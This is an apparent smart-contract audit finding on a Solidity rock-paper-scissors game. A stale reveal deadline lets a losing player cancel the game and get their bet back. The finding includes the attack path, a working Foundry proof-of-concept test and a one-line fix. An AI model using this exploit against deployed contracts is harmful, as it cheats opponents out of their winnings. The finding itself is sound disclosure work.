Summary
During a turn, when both players have called RockPaperScissors::commitMove, the reveal deadline (game.revealDeadline) is set. However, it does not reset before the next turn starts. During the next turn, a malicious player can choose not to commitMove but wait until the game.revealDeadline has passed. The malicious player then calls RockPaperScissors::timeoutReveal which cancels the game and refunds both player. If the opponent has won the majority of turns, the malicious player has every incentive to exploit this vulnerability to cancel the game prematurely and refund their bet. Hence, the malicious player will never lose a game, severely disrupting the fairness of the game.
RockPaperScissors::commitMove#L219
function commitMove(uint256 _gameId, bytes32 _commitHash) external {
Game storage game = games[_gameId];
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Created || game.state == GameState.Committed, "Game not in commit phase");
if (game.currentTurn == 1 && game.commitA == bytes32(0) && game.commitB == bytes32(0)) {
require(game.playerB != address(0), "Waiting for player B to join");
game.state = GameState.Committed;
} else {
require(game.state == GameState.Committed, "Not in commit phase");
require(game.moveA == Move.None && game.moveB == Move.None, "Moves already committed for this turn");
}
if (msg.sender == game.playerA) {
require(game.commitA == bytes32(0), "Already committed");
game.commitA = _commitHash;
} else {
require(game.commitB == bytes32(0), "Already committed");
game.commitB = _commitHash;
}
emit MoveCommitted(_gameId, msg.sender, game.currentTurn);
if (game.commitA != bytes32(0) && game.commitB != bytes32(0)) {
@> game.revealDeadline = block.timestamp + game.timeoutInterval;
}
}
Vulnerability Details
The following is the attack path
Nth turn
Player A commits a move using RockPaperScissors::commitMove
Player B commits a move using RockPaperScissors::commitMove. This sets the game.revealDeadline
Player A reveals a move using RockPaperScissors::revealMove
Player B reveals a move using RockPaperScissors::revealMove
N+1th turn
Player A commits a move using RockPaperScissors::commitMove
Player B does not commit so that player A does not reveal
Player B waits until block.timestamp exceeds the game.revealDeadline set in the Nth turn
Player B calls RockPaperScissors::timeoutReveal which calls _cancelGame and refund both players
Malicious player can exploit this vulnerability to cancel the game prematurely, breaking the intended functionality of the game. This is not expected or intended behaviour of the game
If opponent has won the majority of the turns, the malicious player has essentially lost the game and will lose their bet at the end of the game. However, the malicious player can use this vulnerability to cancel the game prematurely and refund their bet, creating a no lose scenario where the malicious player never loses.
PoC
Place the following into RockPaperScissorsTest.t.sol and run
forge test --mt testExploitRevealDeadline
function testExploitRevealDeadline() public {
RockPaperScissors.Move moveA;
RockPaperScissors.Move moveB;
bytes32 saltA;
bytes32 saltB;
uint256 playerBETHBalanceBefore = playerB.balance;
uint256 _gameId = createAndJoinGame();
(moveA, saltA) = playerACommit(_gameId, RockPaperScissors.Move.Rock);
(moveB, saltB) = playerBCommit(_gameId, RockPaperScissors.Move.Scissors);
playerAReveal(_gameId, RockPaperScissors.Move.Rock, saltA);
playerBReveal(_gameId, RockPaperScissors.Move.Scissors, saltB);
(moveA, saltA) = playerACommit(_gameId, RockPaperScissors.Move.Rock);
vm.warp(block.timestamp + TIMEOUT + 1);
vm.prank(playerB);
game.timeoutReveal(_gameId);
uint256 playerBETHBalanceAfter = playerB.balance;
assertEq(playerBETHBalanceAfter, playerBETHBalanceBefore);
}
function playerACommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerA);
bytes32 saltA = keccak256(abi.encodePacked("salt for player A"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(move), saltA));
game.commitMove(_gameId, commitA);
return(move, saltA);
}
function playerBCommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerB);
bytes32 saltB = keccak256(abi.encodePacked("salt for player B"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(move), saltB));
game.commitMove(_gameId, commitB);
return(move, saltB);
}
function playerAReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltA) public {
vm.prank(playerA);
game.revealMove(_gameId, uint8(move), saltA);
}
function playerBReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltB) public {
vm.prank(playerB);
game.revealMove(_gameId, uint8(move), saltB);
}
Impact
Impact: High, Malicious player can exploit this vulnerability to never lose in a game (only win or refund). This severely disrupts the fairness of the game.
Likelihood: High, This vulnerability exists for all games with totalTurns > 1
Severity: High
Tools Used
Manual review
Recommendations
Reset game.revealDeadline at the end of every turn
function _determineWinner(uint256 _gameId) internal {
Game storage game = games[_gameId];
address turnWinner = address(0);
// Rock = 1, Paper = 2, Scissors = 3
if (game.moveA == game.moveB) {
// Tie, no points
turnWinner = address(0);
} else if (
(game.moveA == Move.Rock && game.moveB == Move.Scissors)
|| (game.moveA == Move.Paper && game.moveB == Move.Rock)
|| (game.moveA == Move.Scissors && game.moveB == Move.Paper)
) {
// Player A wins
game.scoreA++;
turnWinner = game.playerA;
} else {
// Player B wins
game.scoreB++;
turnWinner = game.playerB;
}
emit TurnCompleted(_gameId, turnWinner, game.currentTurn);
// Reset for next turn or end game
if (game.currentTurn < game.totalTurns) {
// Reset for next turn
game.currentTurn++;
game.commitA = bytes32(0);
game.commitB = bytes32(0);
game.moveA = Move.None;
game.moveB = Move.None;
game.state = GameState.Committed;
+ game.revealDeadline = 0;
} else {
// End game
address winner;
if (game.scoreA > game.scoreB) {
winner = game.playerA;
} else if (game.scoreB > game.scoreA) {
winner = game.playerB;
} else {
// This should never happen with odd turns, but just in case
// of timeouts or other unusual scenarios, handle as a tie
_handleTie(_gameId);
return;
}
_finishGame(_gameId, winner);
}
}
